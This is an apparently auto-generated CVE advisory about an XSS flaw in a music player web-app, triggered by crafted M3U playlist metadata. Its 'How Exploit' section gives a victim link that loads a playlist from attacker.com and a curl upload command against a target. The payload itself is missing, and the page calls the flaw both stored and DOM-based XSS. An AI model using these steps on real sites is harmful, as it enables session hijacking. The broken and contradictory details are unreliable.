Listen to this Post
How the CVE Works
The vulnerability arises from improper sanitization of metadata in multimedia files (e.g., M3U playlists). Attackers inject malicious JavaScript via crafted artist names or playlist entries. When parsed by the web app, the unsanitized input executes arbitrary code in the victim’s browser. The exploit requires either:
1. Uploading a malicious audio file with embedded XSS payloads in metadata.
2. Luring a victim to click a malicious URL pointing to an externally hosted M3U file. The payload triggers when the app renders the playlist metadata, enabling DOM-based XSS.
DailyCVE Form
Platform: Music Player Web-App
Version: v2.5.0
Vulnerability: Stored XSS
Severity: Critical
Date: 2023-10-15
Prediction: Patch by 2023-11-30
What Undercode Say
Check for vulnerable metadata parsing: grep -r "innerHTML" /webapp/js/ curl -X POST -F "[email protected]" http://target/upload
How Exploit
- Host `malicious.m3u` with `
` in metadata.
- Send victim to `http://target/m3u=http://attacker.com/malicious.m3u`.
Protection from this CVE
- Sanitize metadata fields with DOMPurify.
- Disable inline script execution via CSP.
Impact
- Session hijacking.
- Malware delivery.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
